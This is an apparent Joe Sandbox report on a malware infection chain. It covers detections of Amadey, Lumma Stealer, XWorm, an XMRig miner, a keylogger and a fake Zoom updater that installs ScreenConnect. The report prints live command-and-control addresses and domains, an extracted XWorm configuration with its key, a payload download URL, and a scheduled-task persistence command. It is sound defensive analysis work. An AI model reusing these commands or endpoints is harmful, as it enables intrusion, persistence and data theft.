2.2.skotes.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.0.ScreenConnect.WindowsClient.exe.9e0000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
12.0.ZoomUpdateInstallerFull.exe.785db0.4.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
6.2.skotes.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.0.software1.exe.1e0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
7.0.software1.exe.1e0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x96de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x977b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9890:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x94ba:$cnc4: POST / HTTP/1.1
0.2.file.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.ScreenConnect.WindowsClient.exe.2eafa10.4.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
12.0.ZoomUpdateInstallerFull.exe.75c3d4.2.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
12.2.ZoomUpdateInstallerFull.exe.5660000.8.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
50.3.74df2248d3.exe.5cb0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
50.3.74df2248d3.exe.5a90000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
12.0.ZoomUpdateInstallerFull.exe.6d63d4.5.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
47.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
47.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
47.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
12.0.ZoomUpdateInstallerFull.exe.6c0000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 20 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\X91lnt.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, ProcessId: 7804, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\X91lnt

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, ProcessId: 7804, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\X91lnt.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016235001\software1.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, ParentProcessId: 7804, ParentProcessName: software1.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe", ProcessId: 7872, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 1284, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 5752, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:03:01.186981+0100	2028371	3	Unknown Traffic	192.168.2.4	49888	104.121.10.34	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:15.218294+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49771	185.215.113.43	80	TCP
2024-12-16T21:02:29.989228+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49807	185.215.113.43	80	TCP
2024-12-16T21:02:42.465110+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49838	185.215.113.43	80	TCP
2024-12-16T21:02:51.010995+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49858	185.215.113.43	80	TCP
2024-12-16T21:02:57.747579+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49876	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:58.740166+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.4	55085	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:58.956030+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.4	51470	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:58.279949+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.4	65380	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:58.510102+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.4	54236	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:59.420962+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.4	60769	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:59.191598+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.4	61099	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:57.744302+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.4	60913	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:58.044178+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.4	49441	1.1.1.1	53	UDP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:05.423488+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:13.870395+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49758	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:11.169370+0100	2803305	3	Unknown Traffic	192.168.2.4	49763	185.196.8.237	443	TCP
2024-12-16T21:02:17.326707+0100	2803305	3	Unknown Traffic	192.168.2.4	49774	104.21.12.184	443	TCP
2024-12-16T21:02:31.471744+0100	2803305	3	Unknown Traffic	192.168.2.4	49812	31.41.244.11	80	TCP
2024-12-16T21:02:43.922434+0100	2803305	3	Unknown Traffic	192.168.2.4	49842	31.41.244.11	80	TCP
2024-12-16T21:02:52.483705+0100	2803305	3	Unknown Traffic	192.168.2.4	49864	31.41.244.11	80	TCP
2024-12-16T21:02:59.203178+0100	2803305	3	Unknown Traffic	192.168.2.4	49882	31.41.244.11	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:03:01.971429+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49888	104.121.10.34	443	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:28.807520+0100	2852870	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:35.934300+0100	2852870	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:39.158495+0100	2852870	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:02:49.679359+0100	2852870	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:00.192576+0100	2852870	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:05.923203+0100	2852870	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:12.076087+0100	2852870	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:28.900838+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:02:39.167311+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:02:49.684708+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:03:00.194410+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49780	147.185.221.24	33081	TCP
2024-12-16T21:03:12.115755+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49780	147.185.221.24	33081	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:35.934300+0100	2852874	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP
2024-12-16T21:03:05.923203+0100	2852874	1	Malware Command and Control Activity Detected	147.185.221.24	33081	192.168.2.4	49780	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T21:02:28.241280+0100	2855924	1	Malware Command and Control Activity Detected	192.168.2.4	49780	147.185.221.24	33081	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/unique3/random.exe	Avira URL Cloud: Label: phishing
Source: eur-automatically.gl.at.ply.gg	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000002.00000002.1786642857.00000000002E1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000007.00000002.2972499104.0000000002621000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Xworm {"C2 url": ["eur-automatically.gl.at.ply.gg"], "Port": 33081, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ZoomUpdateInstallerFull[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: eur-automatically.gl.at.ply.gg
Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: 33081
Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: <123456789>
Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: <Xwormmm>
Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: XWorm V5.6
Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: USB.exe
Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: %AppData%
Source: 7.0.software1.exe.1e0000.0.unpack	String decryptor: X91lnt.exe

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_03E21638 CryptProtectData,		19_2_03E21638
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_03E21630 CryptProtectData,		19_2_03E21630

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002F.00000002.2758055837.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2756046562.00000000005AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2756046562.0000000000596000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1860, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZoomUpdateInstallerFull.exe.log

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.196.8.237:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.184:443 -> 192.168.2.4:49774 version: TLS 1.2

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbM source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568629527.0000000005480000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wkernel32.pdb source: 74df2248d3.exe, 00000032.00000003.2773318310.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773232282.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568629527.0000000005480000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2773030446.0000000005C30000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772894062.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2772640879.0000000005C80000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772479982.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 74df2248d3.exe, 00000032.00000003.2773030446.0000000005C30000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772894062.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2567845463.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000449B000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2992705579.000000001B982000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2972175932.00000000011F0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2974697720.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2973044916.0000000001282000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2561854287.0000000002DB0000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000013.00000000.2591400390.0000000000A0D000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.ClientService.exe.14.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2566675553.0000000003FA0000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568713090.00000000054A0000.00000004.08000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2996654210.000000001BBC2000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 00000010.00000003.2570452355.0000000004320000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 74df2248d3.exe, 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 74df2248d3.exe, 00000032.00000003.2772640879.0000000005C80000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772479982.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
